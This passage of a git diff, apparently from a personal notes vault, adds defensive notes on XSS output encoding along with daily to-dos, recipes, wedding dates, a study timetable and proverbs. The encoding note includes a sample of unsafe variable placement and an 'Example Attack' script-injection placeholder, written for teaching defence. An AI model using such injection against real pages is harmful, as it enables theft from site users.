z*GIFf74R6oF^;dUXouJrMQj=a%d=KJ!e>+=H_K9ynxVoHrb@G5R~i-myqA8dROV3V^|JXb!WYM!~+Llly&h}MGBb00JmuoC7LRwun zbodh@Ds(ml?9|pF#5zAlL!jNw>`;I>*-Sh$zgnxULE5W|#$`nQ_q-BZLDIo!NeHv= zdT-CAvT(+?_7JvxxjFN(W^As+KVMvw!e?6_i{n$~fTu!JeWy!%J5=gX$uS}|!L`!`L%^nLCn zlt-=1^9IHkbZc)S*_K>yY=Q$UxRMGz21~`Y zX?MSf@Tu~ROzv#|muUtsw#{OTu!v|szqLc}NFw%~8>X7!EwEzcGmQ}|%pPdXV0~(W zg_eCJ0>hVth}kREKD;LTRG(@tCg&RytX^JEX&T!?*dfgvMm(QJSid3O^7f0h%*(}z zl)xj(%Ko?7U}Y{H{bS>u=wJBsP>^F84DUxGjV$5andenZRUbx9T{pwV&o?8awjm$9pV;%z6iA>Ttj6x@(JrVjo$eY{Iex4pq z!a{dod7l7!+m)($!yXEMrsT00d|=G4kz6LgEV!O&a&Pwv`oK~SsB=(_?=#Nnma2%N zZ)Y5!izf`~Ww2a1^MwaOt-oZF_HB=Tuwq(WC9OH8^t$79P`|xIEryi`vG@N;=X9zOHc?xP!Psl#e^v(3lYd*yqA~u9 z%!zE@KPIGp-D>(zz$r`uUC3vkypw-=mbpMgRLab7mi2@a_{G`hQmi21x!~~eLXjFk zA5Z8&q??`Ve!MMQwV?Xf0T@+I@?Aln+6oM@Zx3_H{fQ>p#cXFpEgXKCo=T7577%pOMawqJ97d85 zhMW?jsl zt9cs9_5Pxok75BxJh)c(r?@nD%gN*|##Sr^p0{J{rcq{rT{CBQrsm_Iy{KfN>{tEm zPp@)JPSZ?YIgyAU+ObCCPzR~=8Y1WBKH$zFm#eZI-TC6UR_L}*K_!*^Skx0y&h#De zogmMJ7%VKcS06F`A|OpMQJ1%;)l;;r)_UZBPIAq1Xc|k*MdG>hcb*E!B z_6K4(>eA&{5tq98f#Y(H;}A3)y?p^u?|1!-?apd3wBE^56aYvwr7d+Dx&rCsCvP>S z!e!w+MfE=O&4)C8UAtKY#1bMRgqr$dL9v%r6yH0_?qWrs!UA;k4+Mp+pt)~nn!Er(=vB(uaUh-W<5xJy% zOv>mXI^RCt?ew5>CI=|b=z{t-7%WgoE}K)P9zr}l4Tz6>b%L9U1SIz;vSYTd=>Y4+ zx)ZeKFq>30n?v4*^bWe{0{_*mm9TdSmX`ryIh7H5%HLQCtq44U-F)|@IAF2Ju;Ax< zOFdL)v<&1T0=9vV?6zD?;0&mhS4L6_Rwu@wM?4FZOy+G1EMKn$5K62MasiQ9295_c zI*AHLu1W$sPdtZ7I-b(oN^i2l$IKH|3`r5Y>M{U38C;FK8op$$&9XY>X`mVoZ8)Us zw)gZKVt?N);U3G*&lzodu;QrGD>x5tF zE~E}~ZuxHTIBkOE4fg3W3swY)so<{=4UwLS5h zFJsFU)JlaZJq#%$J8CdQeXNUFfaQ!-!QY9fYDnJH#mR!|lT92kh80hMOiqho$hEly z>pP)sw`bvw1cu{Icp*ZY1HfmkLt@d-zrz09;&;FNQ^LjIFEy|aAQDgyiNd$rhG19I z9=SDu-a7aq{}zxn%SVkdo0*RdufdI_mkS5dbLi`puGDe2BGPA7^;{jyHAiURNT!zenw)q5Vcrd#(>Hs)oKkAL%j+nSj7g;-4hTzOU-sIZd~C|ev9JB z&<}X(;2w-SZ@zuzo6O}SwJVZ%l-@>S0 z!=G+%tT|4;o?+COF72FSH()n~>w6qlk8<&7>|`yvzU+7`B(^Ol&?@J;TailB88xHs zQWTg>L@}IKi)ze2Xs4FC5(GD2cWEQ#zlikIn<$vbKaf6}GE>6_mQM7);A@ObsqPOv z7Fyy&ztBJjk)H<=*6bW5y+Gv7{8@KQ$3nuBgAxjsXRVfqL^ry=A9lQ`9TUW?uA2Q- zU`1m_7clh*1q~(NZQ7n}7El&2>C(gkaHhLGFf*L;#fD9%^%kQ)1oP0|H|mS*xxEQ$ z5X;=2gsEiTEb-H+K@h?Np60P!CV%o>1G-WFE+qcav| zl|bMaD?x|kd-*eS!t(C}`NDp@`pcXkZbR{=4lj4i4%X42N;m!nSg@}N&Y7&bwzScM zuetuVs>AG9;CBWx%z+>ue3md(y`yps`wKAO<8n>G?RKsA=U>6Kfed}HR}=vo`(=64 z!{)xzue3bSPfS}qvUhJ05F0m)wlpe}c&Z{bM({q$FuTx&;qOk3f`K5L-VGt#*cKCI z-t}wr>%)Cavp;@xUqQA%s8Ej(=vs04|07O5gX`~*HH-f~M1A+a{Z}mN|3iWY(WjE_ zxZNP24Sa*veeT1sGkW90EN3k>3mzU=EX$xk)5sEf5M5we^==}%c;uJfYR#BO>4U3i z$+v6NI9dyVu~C*b-(UXiTkqL!cK%lO>(-XVD8Zo1>EPLL_5BVFU8H`#K*MGvEw=5X zADG|W*VI4d&G7UfIVPlVWxTGZ5G)6tcXQnxyDPE>Ju$>+OBae3fXRum)I148k_7C= zRhXUzBTBRf21I+|Wioe;sR8!oGJBmQ!-Gdh zyp(f$MfGg8k3k0c_(*`oe^_;T!veayRw;Fv)~-N)8gng45@vG|EZ_^58lYy*0US(E z{AY>G+iFCQgY#{PD|6P)rv34)M25N&Ouo(@J-e-CG^lc0+!kVc~I2<5bc!ICs5zI7vM3WmXuB~Xko#|^)_kO2L40`NHXb6Q%}pT<(jMCNYvWoC4K zsV8y4&S~~~_we&M+dHS~)ijTV^0ec(G8|QM;>JDT=dNM#&ee=ASH4_XC+Gig@De>O zS93rg@IB|hzb-{DCGMgAH1Ig1N;Q2~bg}{0%Y|POrqf(?^}~nwBHq(-=%eCKN(+{D zXQlk3a!-WsZN)U5_|lCv6JemZ_v_T?y0dQsqV8}Xc2{yEKx+RU-=K>OmZQaTbi`J4 zZS1!O0)&SY)A@27^P8_K+!*87jAsw~K=jaJkyhMu=Q?6hL%iGdp*@wCOvRp@2|~sT z*RXmZh?ijINh*4}zUNVL5%tFt1u=j-^JTKkep5-Q(yC?f4zLue#EUr*dKqG~m*6&WV>BN=X^_6M`fdkEIJOgVJg60X92YUSGC>m=NUEH}!ORFV>x z_tbvkXigrBP$?thoZ;#<)wX_t^`-g-B5r{I4Ib>ZsAFFhB9z1(QQQiQ}U|&YG`x7jm&Niu>E0c`da>AEZgRXZ@ik<*8IoM+U{}o zdhidd=JgBD7=A51h($QJ*@5)aj~olUzqg71!EwTd zSx$fX>zWfH9VOlqgaLY82M!T~rWx#cN z*86@gF&9!%RXz@x{a~@NdOicl7)G4I0P{%YJE=b|l}S9!(I&4t%?zL3F0S>2xO2nU zeY&KT?qXMM|Di)W*aX_&=;-K@t5^0 z&fhXD6+ewuWppAHX+?emNKS}%wEV5Wqi}irh$l3!q@IahRk+ssK4fM7ngB4LaQLiI zU}uChJF$pSS5(Vdl5OwKBmh2V)}Iz*d-%-yuu$`(zDJ;mp+{ahOHaI9cak&skx0of zyvh-=nd2z+H%M9x;e>IDs#%K?7zag{<)CE-W2HlA2z3uSK=$sZgS&bmqAzICRvV{_*(q( z!Xu$W!&n{5&$e#uf_*z}IIgRB&ft`Gbu!zLqfA}AuCMrYiLw2jTGx);cn{%v;$?rG zVw`@e{kX!6SKV&uiMfaPvC`(F76EiYV{Y=D6<(BLFyK;DFctQ~2@lfYfi_o*E#`7L zVaD-(UrBej zEmQ}B_w|FEiupLv_$I)dBDA>G>h>j~rt@2m+-=08=bvon@Fql{w`W1y{d$hO4wO_? z5$Y)Ez`t$Y?sjnKg2ZW^JN5~z@^me96MFRKE;?3IlKNmwkunU|r*Pj|c<~W67@aEP zHz7#beXj}aea+c6Ykbv{<3_@btb$09=x zvw53TYyc7BvZzuVyw~DidVSD_Ct&dm>`8K9p@?%@ZY8^t0>{ChOH?fTp1n6{e__Gw zyBn%309%-3|1ZPy|1-mrf!_*>BbWDU}-U*goOka|G|(%gZidD-LzJOEA+gO zxSv$`rwi84J}~OLwMM^RLc_c6ihU+88w5YYEjE-)bp!YZx*Qd!HbuAb!JmI=4=yHclr!9aEtq8Bb1Ip&H zrYwVnwq2?%t};Q1LcevxY~n@4;|TA}clvUq2xmsU0#CC+LFiX9O^~I;o=*YQwE_S4 z5d1KnX>k0os?LgkIT`FyY#~^aC&mmHNeGQWtx;5l z=2DWIIGd}BBzbwZz>dZU)c4D5*+h_7s7(CDOKQw>e=6=$1Uq?W_K%b&!t*EkE^;B= zEJ_M->HrOS3XMF}WRP>k(J3fkS;r5pf!oWs`l*o0R|==^>))DySUwYXQBMe0N*N+m z$WR(GZgT(ngYk6+?G~DDFcu|oT+z~Ol#o$pK|#;49X|O-V2)dV`yj$jAEjlcSB3>{ z(oSfA#Nw8jY*H|otF-2qIvK8Nc1wIP%iJJB`-AD~{(6E&1n7%7$3+Bh&TnjIPT`gb zyEXE*zaZhZL;7{sTjN%F#439ZLEGIqh2D+D{ry?Lkd$69SURn}O5#@w8*t{M*41+y zTVBGu7AdbjfqWl*aSTP9jR;sISTh8a80MCI@q_d1aLVt1-d-SStUYM%aw0sEw(BR- z^_AbbF(SA*MXr8rT~KOa`qkZMA673S3+Oh=3kdD{z-i@i%}N$pmMpPj&}cmx^ndsQ z09>WJ45?b`WmLJ_;Xb~Gz?PwQ#5#VmI+1^9(^O&m+}yT^SyAVh@~i~%D?TMqsbTv# zPXFn8$Q)06khy02PuiY7N@+k^&h=|U@txI1nLH4eJNlYfA**eqjsEKM>4}>l!HW}w z>Y{I~i-W8n|C7aF-YZ^~6|D+>PPN9W`oSYS@Z5zXkXrRrS1;fG{Fzhib4-WuI9B>< zAx}VYZ9W7&Ob%wB>h5{9^6m@h38Bbr+wBEX3})!i27FBgZ8LnRp8OX+!8jE-l2 z1^YQbMRh5i-SGog>w}^f3V1c(PqedZPdRGLPp0xT`7HLz75wSnUe#1yJAptoPZ}+o zb#|};T~2`uGR6ad%rXd7TL@V2XyJ8>P3^TGo3$>nZmH)#;u?N?>%PpS;A>xp4f-^m z)OedX_uN2d=C|a-UD|-O9qCGdASF*_4jn2RBygu^fLu~PJO_cu4mlD=l&zx|pny2Q zyT;Nz1+Iu^My5DZ^-mjJCT8~@E%it{Zda{7XcX?p+)9{H?(VU}D_BseAQNh9YX1!t zreEJ9Zcn9t-gyH($~m*#y!NzD9rmv=xpM`upe~G zfQZQbubNBn;`Bcz%3=6rw9i2*)czzGy`csq24P<@1nd{9#fukI%=yc6$?=^!fUB5C{E!ZL?hz;HdkF%kyU1 zhG6ww)_f=YT!hmTfeq~dtWeS*@@r=wdN_!;kK@kfNLJla?|{G+qv!AC|Iyx=Mm3df z2{={OGros{6s4dLa45wAL1i`s91zM0q?CD55CViLM5cs~WJw_^lMuob zLJFB=jFBlMA(0?sNCJc;gpj1K{rdG<-M#v){?)(U&%4&SXV`n6y}!NBUFRBT!|k9G z8iD+&C@#@-mYXizrc`xvN&EcJ$8gBV9~SEy8m7Q@YiA~}P#NUL=*7E@ALV-nfAIen z1frLfXmgbt7g$ZwA6xCVL?2MDE*B=~srC-;xbLQ)wp}_sutwuJY)nyn(!7?|cST4)RZGoFdx$Tk5SP%%rx#C!D7-^7U@61xQZtqqq#cP%@Bnb59 zUaJ5Y@-WYCQEsQ8TB$hSS%E;GqqiWzuT<}ZekQhSnVn<6`|9_%gF&E2+xM!2KzsI{ z)dPV}pZyJJ`pa)yfL=gcwCbzNmk^iXF(bP2QM8F3-bvgJ{K}wATX<><(C$4oi zS#nJrQAdik;)UFrwS1N4a=TP{45x~ZRBC`gfABttI~4O%9LJ5-0H2nG6F8U5wIoH> z+R*1t3VOe>U%wy8V@ovDnlOrIs}w1z<*EaM9sb{eKtFwWtcFaM4WX7rXcebA$&lMY%eXwKh{q(GfQ)ma{y(z41gMaqS&c$)3mQRI5nI8Oe%T zD+6G4kpH4^FNtcM>Ui!jwPhzKDap`QhFU%cebbqpEbC6Cz;<>U@4o(5VDj@J_Zz>i zb=h*6kyq?!_dZ?jcdV7dL+0coMI6DE{T;^MJ^H)FW?~&N_1kyEzX97d>Ce zsmn4;lTQEZWWNRfsbVG7nVVwxK=cg=^a2( zl(7i3QVu3qhX|6K2yT%hsy z`#ONh{%D`N2^b{xUoZTR-SICe{d3dM!>q4{R$GY(RNJG2fb;vj<@BWm|Xj9~!w@JzS*MRm!ZQi2VP-oH|$?d%H6eE&IGx5hCm)`nae1SX0^qI;b4 ztI0>l5pp>{(vf%8)XRHlW*{u(WaeSduJuoQi{JG!L>n6$-yDO-pk)s&d{D62uL|;7e6ixm>Qh6s_@dC@A#BG(6}MkD3~@rg4DvIZ~OVsWgoukv(N$_o#{ zn=tWfidUwWDsyRLBcQGXf_YbNbknI#zWzP8Sko5G3}Y z7ww3Res+;5^2@HzJA!h7($WRNNabl64k2Y8H1(nqYF5rqc6yO*eE4xzs2~iZjV?5G zhx0C-pyYA}&`<{4cv@+(imAx~N7PcNCQObt+pvPEpiLzbHiHEW>KCzEq`3c(c@6 zJ%*l5ZW_frk@ruPW|6bn6EiVmPDR2>ENs11B(%%(7<9TOgX>GHrhBuKou^mSg0L$} z84i1km%MTdw>!HDz1!qmVxn3sl(jjlxbQV|SB`lf+;RGFQg;Ub<~yYN_l(Q1?^KG3fP>YT*;1z*&nz*}$RJ3QMTY;oV7|DSd|` zGuxhWjAe;UeAD(-KuXZM?4H<4BUF&Jyzc|nxu)nKh44=Qp2S9`Tn?R4WcA!SnU}Fq zrz&c!bTgZEFTs`FYV@kq7h~{Qu&dr0C6JN!s|!M(2W^Sed%Oc2@0TZR_BU@&H-#2n z;FRABDF}7M!1e_|_1V>(rL5z*wbM~{VUALKwiVN^1TBecPzl<$mv0R3hF*e^_z4Mi z$r56;gK9XvaR>f{9YqHz>U!r_Hty%0KER55c94TQ=|xQ{Jbzoiu4H-iv#tpKN)$AR zKI=AkMWPc9^n5+%%?XBncRuZT&LWqKh=QyZ+^BME6W? zXCgRolHXS&d!bb$KHgkb{=Q>vg(qY|>>A0fS8aVNt-_<-7m%{SwKJ=0cTU50!!Lq^ zUFSL$_{)!)OT?ufEtaSDQ2lewDhPA-(0Ij9@Wc}gc%--wV`)6A-n_F4&KXL0G%{dM zI<+-_LdTw}m;+`TzIxxW3U%~4fWRxhWeM@+@w zJxMkV-xJ?VsyrKJ+g&lG`uWLo9WzJM8&@xO%oL3U7H3$NxSo6%6)&L|-KPvF&4@6A zcS`dN-6$eKVz$Mh8{wk6xt~xI!*#pBq(2mBW61YU5TddB1+BGS%a-KKD8(;J~dGBnI4l>u~F+^FD_&I6~;x7*a{w)jmahjjj2o)DVnB-buN%sbSEz7ihrv&2#Reb$HlH#9!JJAT5(jb`PTaPRg9rG4rYQ%r^Tbe z*OVmBgmO(jSPOA-;*IWjy8CAG7apJ0Q`~l;=GV#rdI7ylQKa(yuDl6f*@$U|!12r* z3}ubS%()FrgW@%eJ>(;9K$rlYJELyX-;gwonD`Q;Ds0kWcgangl1W1~BoK`0dhF|g z_t`mZk6xgTmh64dWcQ(6_jUooacc1O>hh< z{7R+n|_IO;Mt>Iru(*^fKJQ@%R{E9ZWYrw0b zpwD+vDVa{4d`E1%(;HWZBUodfxwGF~LRxQbcVN00kj~w3gX7(SZvTSs!(F9{JJLCz z&*934(l@%u_zK%g>d|VO+ie^zkv$Pq*444j#%$d%S3fFr-l#ZTGEXwq80$5%pX#`1 z#IBllI@Nz(&#{i*l)iE0_TMbyJiLlG zwiS_m@!r?aduRNr&P&%ePz3wu&ADxeWb~sesI#+ zmf|tW6KyFbqXA9`$?0Lev;r;tbLY>MpXy zGL8;zEE1?(@tD8Kpl$7`J`oLv$kD&6IO^>--g2wbq;unL*HZ$KNo$Ta=T3xz-#OCV zjy|VkBt-Roqll+|sh{ve1doCF^n(dGr}{jrFa8Xk2B1Nek7iADM@3>PceziIY3L~8 z%fu?(T#I$X!8nhuJ9SfelFXDhT9-upkgcQIzX&TfEv8{=whh)+wZ=$0w;)`dCSF^e z-bK;uSu6Q50lAuDI)lFX04`6=SSQ1$VBKj}vHJx@kwV_C$novswz)gp4|pdd-?S%1 zqv4#`J^aQP)fNzSRE-8)CIwpZeeC1Rl6Vog88>ZANm%+4Dz`Arxvb^S({S1LWD@U^ z*4S|AG18r$@Ui3HKC1n4mK7OMZ62=xN0<~_|5P}w>|EE1FXMH5+G;6!Hev*JB(%(S zUUQ|E9JgXQEKUFd5e?be)yiduB8J~#l)88L`dYwx9iqSL|W|=;51#~=rlR7dB zd;<)G7anx^Vg4jvT3iOu^Gp%nqK=ue4FKS~IE_~=(+y9BMg||x@Z$%SMYHC^$qw$y zUH9_ZrZj?+Y#I8C0Iqt@keMjY;MgreRdpi|%G*gi{i1ukhL>@e+wRkMuO@PT4=YCB zsFk#;cn1hs2Jaz%(qezvTcveL%d+K=&36gh@Rd1Yn*n|?(;u((mXfnCZhX7Ah=&`Oz1GB9ADYg@V(aW zCY=2z>N8|9?$z+7Ma88)1$wc8wk&aRqaM%@8o#-F*HoLRRRYiBhg3{lt{8k35b-lyK0h4!05I?-y~f>K}?1M=8FzY!)ssB=_8l?qr_nC~Bl0NQGo+94|`x zv_aI>*T8Q{_^FeDp(hKcWgcGobyG@CS}jF0kYip6gJ(ME*bt(Al(**9yF09 z183egI#(K_mZjFOsSw7sAd}F)gEH%tg0r5H44!!@J0n>f^JH!XQRzcv&X~^mA!j>2 zR?crAJp;(L&}N(@ak;5<977xC>gTqoE=2Kj4+vEfCOb#j~ zaiyv!OBQ;4W+Aj?>-6-oVScpkWnA3LNVvzSQ86UDYzYFbPib49Rrx;qI*7@!Yokiw zihG*FL554!Kt}z*XL)aqDHh#wyEXu#cI^W5SvZQbv-czxW@wjBPNqAgFkdtmbuYZE z9TW}uF;U~!CBAoKjYFO9iHj@s9s70>)0Pzu^JW!7mx*n;?uYt1qOd9T=AJWWJrCk6 zN0?PHN9v@$SG4-7kDxm1WpfMzUWsltcHMuY8fIY0*uTLsdlsv?{1ejrCfD4N|w7| z7L7#X%n2n4e6D3>$gjAm9-<+f#i&!edbOK!^qs??Bv@K{g_IHMTw;iLV*Zh9sNrre&mf(>V7}pmo+g zGP?p)XNESBe5o|KV}w~;#q0$1gG5i$C9^Nyfn%=M+yJob-om-x8R-LaINAr;Ev&XY zy)uOcbHPVaW?xBGe8N>XO&6NLmopp6(1OX2YREu_Y3nGHW{V2FsNl!wEEuPp&IIo9 z`k6XZe7Hb9oF;hcOI@aix+4IfI@#Bl*z0bvx%GQ{M70vI0Zq)RTxq1w;5H5K#v-iq)EPHR zE&jss@VLP3Flh;)0M?FJkIhHXHe8SCz9#~tX}B5u2a~ogzS!|@LXS=KaTVJDE9SBT zMvbYJ_7P!gc5{-JyEpUaov-m^AV~FjK0Y!$(qWhrX`f`yyt&ktkDmb#)%Vzj6S)g~ z9sae*LHf7Fv-N2-G5RYcThKKiro>qwTX7zixUd)PyGpCyzIW=hCBE!W2}7W|K-vn9 zWIUv}O1%tZV<6W+YAOhK#@A$@cwm6NiAcn4i7??@eU~Ivps!wk z(GImS5Rx>WF7j`X4Y zfDBss6D`s>z(kNCeAD!vO@)P9tJ~%~7Ty^~UWXTo4@HRJoWS!-)Z6KiL(;1BOPk3$*o-_z#C;3q%~VMHQX! z^Mz zBo5y$89}b5;&G2iy6N%~Qd0W1o;?5lZ3jG4b>oe@XO;pMcB%ig`CR{s_WN07qq<4I z?N~-vAuVsT37`A&gq0dJP^NsX83cHR_$Dh-qU#8ZRGm;&jk?nL81XnRMC8}1hP;1$GV>b04 z2n@Y?xO%qmb`F6sLW0sgQ@hf#Jz9MG3U5CH62jf>lH2CHQ--zNeW_|u={a`KBx8{p zy)U+9_L^@wa2I<;`O4li56sIWc@6+&%x)hu&H(@JV5L2Ortb5&2JSHgWYV&uCWd5S z=k&Ey7sH?L>qEw0d{%8FS`PL(WvcU>p3zkSy9u@S!+Ujje5^35-ze8CbL;~es565d z1N(NXE{iX`iwU$0w6<)%^I=uON*iG|P4=Ht=ziF`NgTejDym~*h~M~}Qgad5CvW>P z<72K-`Ts$}Cq^xfs?>cv9yWUFqrXW|X27uPb?ybSad>ejubSdlfV~x)Gh3nA<{80Zog^r2DTz9T$#;o5rytC4S<>` or ``. For example: + +`

$varUnsafe
` + +An attacker could modify data that is rendered as `$varUnsafe`. This could lead to an attack being added to a webpage. For example: + +``
// Example Attack`` + +### Output Encoding for “JavaScript Contexts” + +“JavaScript Contexts” refers to the situation where variables are placed into inline JavaScript and then embedded in an HTML document. This situation commonly occurs in programs that heavily use custom JavaScript that is embedded in their web pages. + +However, the only ‘safe’ location for placing variables in JavaScript is inside a “quoted data value”. All other contexts are unsafe and you should not place variable data in them. + +Examples of “Quoted Data Values” + +`
` + +Encode all characters using the `\xHH` format. Encoding libraries often have a `EncodeForJavaScript` or similar to support this function. + +Please look at the [OWASP Java Encoder JavaScript encoding examples](https://owasp.org/www-project-java-encoder/) for examples of proper JavaScript use that requires minimal encoding. + +For JSON, verify that the `Content-Type` header is `application/json` and not `text/html` to prevent XSS. + +## Example + +![[Pasted image 20260603202316.png]] \ No newline at end of file diff --git a/Dailies/2026-06-03.md b/Dailies/2026-06-03.md index d524c46..a1a4af8 100755 --- a/Dailies/2026-06-03.md +++ b/Dailies/2026-06-03.md @@ -6,13 +6,13 @@ date: 2026-06-03 # 2026-06-03 ## TODOs -- [ ] Start making the fix for the XSS +- [x] Start making the fix for the XSS - [ ] - [ ] - [ ] - [ ] Reading (5 pages) -- [ ] Class 1 -- [ ] Class 2 -- [ ] Class 3 +- [x] Class 1 + ## Links +- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html \ No newline at end of file diff --git a/Dailies/2026-06-04.md b/Dailies/2026-06-04.md new file mode 100755 index 0000000..2eb98bd --- /dev/null +++ b/Dailies/2026-06-04.md @@ -0,0 +1,18 @@ +--- +work day: false +date: "2026-06-04" +--- + +# 2026-06-04 + +## TODOs +- [ ] Complete the fix, understand the regex +- [ ] +- [ ] +- [ ] Reading (5 pages) +- [ ] Class 1 +- [ ] Class 2 +- [ ] Class 3 + +## Links +- https://search.brave.com/search?q=ravenscar+coastal+walk \ No newline at end of file diff --git a/Index.md b/Index.md index 0b78637..ba67c45 100755 --- a/Index.md +++ b/Index.md @@ -3,7 +3,6 @@ note type: - dashboard date: 2026-06-03 --- - # Vault Dashboard > Start here, then jump into the part of the vault that needs attention. @@ -12,33 +11,15 @@ date: 2026-06-03 ## Quick Launch -| Area | Open | Use it for | -| --- | --- | --- | -| Daily | [[Daily Notes]] | Journal entries, plans, and day-to-day capture | -| Career | [[Career MOC]] | Software engineering, interviews, work notes, and resources | -| Books | [[Books MOC]] | Book notes, recommendations, and reading backlog | -| Articles | [[Articles MOC]] | Article notes and reading pipeline | -| Emacs | [[Emacs MOC]] | Packages, config, workflows, and references | - -## Focus Areas - -| Track | Key notes | -| --- | --- | -| Career growth | [[Job applications]] · [[Concepts]] · [[Design Patterns]] · [[Solid Principles]] · [[Test Driven Development]] | -| Backend and APIs | [[Restful API]] · [[API Architecture]] · [[ASP.NET Core Web API Fundamental Notes]] | -| Databases | [[Database MOC]] · [[SQL Joins]] · [[Postgres]] · [[Airflow]] | -| Security | [[OWASP Top 10]] · [[Cross Site Scripting (XSS)]] · [[Server-Side Request Forgery (SSRF)]] · [[Output Encoding]] | -| AI | [[AI Moc]] · [[AI - Codex]] · [[Data camp AI training]] | -| Microlise | [[Microlise MOC]] · [[ESS ESP Index]] · [[Session Stored XSS PENTEST]] | - -## Recent Daily Notes - -```dataview -LIST -FROM "Dailies" -SORT file.name DESC -LIMIT 7 -``` +| Area | Open | Use it for | +| ----------- | ---------------- | ----------------------------------------------------------- | +| Daily | [[Daily Notes]] | Journal entries, plans, and day-to-day capture | +| Career | [[Career MOC]] | Software engineering, interviews, work notes, and resources | +| Books | [[Books MOC]] | Book notes, recommendations, and reading backlog | +| Articles | [[Articles MOC]] | Article notes and reading pipeline | +| Emacs | [[Emacs MOC]] | Packages, config, workflows, and references | +| Concepts | [[Concepts]] | Career concepts | +| z resources | [[z resources]] | Resources | ## Active Reading @@ -59,20 +40,3 @@ WHERE file.name != "Index" SORT file.mtime DESC LIMIT 12 ``` - -## Capture - -- New daily note: [[2026-06-03]] -- Reading inbox: [[Book Recs]] · [[Substack Articles]] -- Work inbox: [[Job applications]] · [[Pre work prep]] -- Ideas and concepts: [[Concepts]] - -## Vault Map - -| Shelf | Notes | -| --- | ---: | -| Career | `$= dv.pages('"Career"').length` | -| Books | `$= dv.pages('"Books"').length` | -| Articles | `$= dv.pages('"Articles"').length` | -| Technical | `$= dv.pages('"Technical"').length` | -| Dailies | `$= dv.pages('"Dailies"').length` | diff --git a/Non Technical/20250717230336-recipes_moc.md b/Non Technical/20250717230336-recipes_moc.md new file mode 100755 index 0000000..0ed5b64 --- /dev/null +++ b/Non Technical/20250717230336-recipes_moc.md @@ -0,0 +1,5 @@ +# [Recipes Cookbook](id:b31d6c3f-9bc3-4006-aaaf-d56168249e3a) + +# [Recipe Ideas](id:F7D68FF4-CAD0-4791-BAE4-AC20B84A8785) + +# [Recipes Done](id:EA93341B-20C0-48A2-BD88-F24ED3C540DA) diff --git a/Non Technical/20250719174944-recipes_ideas.md b/Non Technical/20250719174944-recipes_ideas.md new file mode 100755 index 0000000..e8217f3 --- /dev/null +++ b/Non Technical/20250719174944-recipes_ideas.md @@ -0,0 +1,59 @@ +# Spiced Potato & Pea Quesadillas + +Prep time: 20 min +Ingredients: + +Boiled potatoes, mashed + +Frozen peas + +Cumin, coriander, chili flakes + +Tortilla wraps +Method: + +Mix mashed potatoes, peas, and spices. + +Spread mixture on a tortilla, top with another. + +Toast in a pan until crispy on both sides. + +# Chickpea Pilaf + +Prep time: 25 min +Ingredients: + +Cooked rice + +Canned chickpeas + +Onion, garlic, cumin, cinnamon + +Optional: raisins or almonds +Method: + +Sauté onion, garlic, spices. + +Stir in chickpeas, then rice. + +Heat through, serve with yogurt. + +# Lentil Soup with Flatbread + +Prep time: 25 min +Ingredients: + +Red lentils + +Onion, garlic, carrot + +Cumin, turmeric, black pepper + +Vegetable stock +Method: + +Sauté onion, garlic, and carrot. + +Add spices and lentils. Pour in stock. + +Simmer until soft, then blend if preferred. diff --git a/Non Technical/20250719175023-recipes_done.md b/Non Technical/20250719175023-recipes_done.md new file mode 100755 index 0000000..f0a8e69 --- /dev/null +++ b/Non Technical/20250719175023-recipes_done.md @@ -0,0 +1,27 @@ +# Done: + +## \<2025-07-17 Thu\> + + + +Instead of 1 clove fresh garlic, i used 1/4 teaspoon garlic granules. +Also used lime juice instead of lemon juice +need to work on plating (put too much salad, its better to cut the tomatos in smaller chunks and the salad in smaller pieces) + +## \<2025-07-18 Fri\> + + + +Dont use plastic sieve (as boiled water goes on it when extracting the potatos) + +use low heat when toasting the wraps + +served 3 large sized wraps (maybe use taco wraps next time) + +## \<2025-07-19 Sat\> + + + +WASH HANDS AFTER TOUCHING GREEN CHILLI. + +juilienne : cutting the garlic into small strips diff --git a/Non Technical/20250918120706-wedding_moc.md b/Non Technical/20250918120706-wedding_moc.md new file mode 100755 index 0000000..31c055d --- /dev/null +++ b/Non Technical/20250918120706-wedding_moc.md @@ -0,0 +1,7 @@ +# Important dates + +## Engagement Day: \<2025-10-26 Sun\> 3pm-6pm + +## Nikah / Barat: \<2026-08-02 Sun\> + +## Walima: \<2026-08-09 Sun\> diff --git a/Non Technical/20260107182221-2026_targets.md b/Non Technical/20260107182221-2026_targets.md new file mode 100755 index 0000000..622460b --- /dev/null +++ b/Non Technical/20260107182221-2026_targets.md @@ -0,0 +1,10 @@ +# Reading: + + - 20 books + - 100 articles of medium size + +## Agile Testing + +## Head first into design patterns + +## Code Complete diff --git a/Non Technical/20260211114817-personal_operating_system.md b/Non Technical/20260211114817-personal_operating_system.md new file mode 100755 index 0000000..e25f3dd --- /dev/null +++ b/Non Technical/20260211114817-personal_operating_system.md @@ -0,0 +1,3 @@ + - [Timetable](id:fc92a943-61ac-462a-b6e5-8be46069f2ca) + +# Personal Operating System diff --git a/Non Technical/20260211124505-timetable.md b/Non Technical/20260211124505-timetable.md new file mode 100755 index 0000000..6b24d4d --- /dev/null +++ b/Non Technical/20260211124505-timetable.md @@ -0,0 +1,22 @@ +# Non-Ramadan — Weekdays + +| | | | +| ----------- | ------------- | ---------------------------------------------------------- | +| Time | Focus | Details | +| 06:30–08:00 | Morning (Dīn) | Fajr, Istighfār, Durood, Qurʾān (1.5 Juz), mobility / walk | +| 08:00–16:30 | Work | Work blocks with intention | +| 16:30–17:15 | Reset | Light food, walk, dhikr | +| 17:30–22:30 | Evening | Commute + Alimiyyah classes | +| 22:30–23:00 | Night | Remaining Durood, reflection, plan tomorrow, sleep | + +\*Note\*: If the day is Tuesday or Thursday, then we take an hour lunch and go to the gym. + +# Non-Ramadan — Weekends + +| | | | +| ------------ | ----------- | ------------------------------------------------- | +| Time | Focus | Details | +| Morning | Dīn | Fajr, full awrād, extended Qurʾān / reading | +| Before Class | Body | Workout | +| 11:00–14:00 | Alimiyyah | Classes | +| Evening | Nourishment | Arabic/English reading, calligraphy, family, rest | diff --git a/Non Technical/20260307165727-proverbs.md b/Non Technical/20260307165727-proverbs.md new file mode 100755 index 0000000..39a7d2b --- /dev/null +++ b/Non Technical/20260307165727-proverbs.md @@ -0,0 +1,37 @@ +# Arabic + +# French + +## \<2026-03-06 Fri\>: écriture comme les mouches + +L'expression « écriture comme les mouches » est une forme figurée pour décrire une écriture très petite, fine, difficile à lire, souvent qualifiée de « pattes de mouche ». + +# English + +# Urdu + +## \<2026-03-07 Sat\>: "یک نہ شود دو شود" (Yak na shud, do shud) + +Literal Meaning: +"One didn't happen, two happened." + +Interpretation: +It's used when someone fails to achieve one thing and ends up with an even bigger 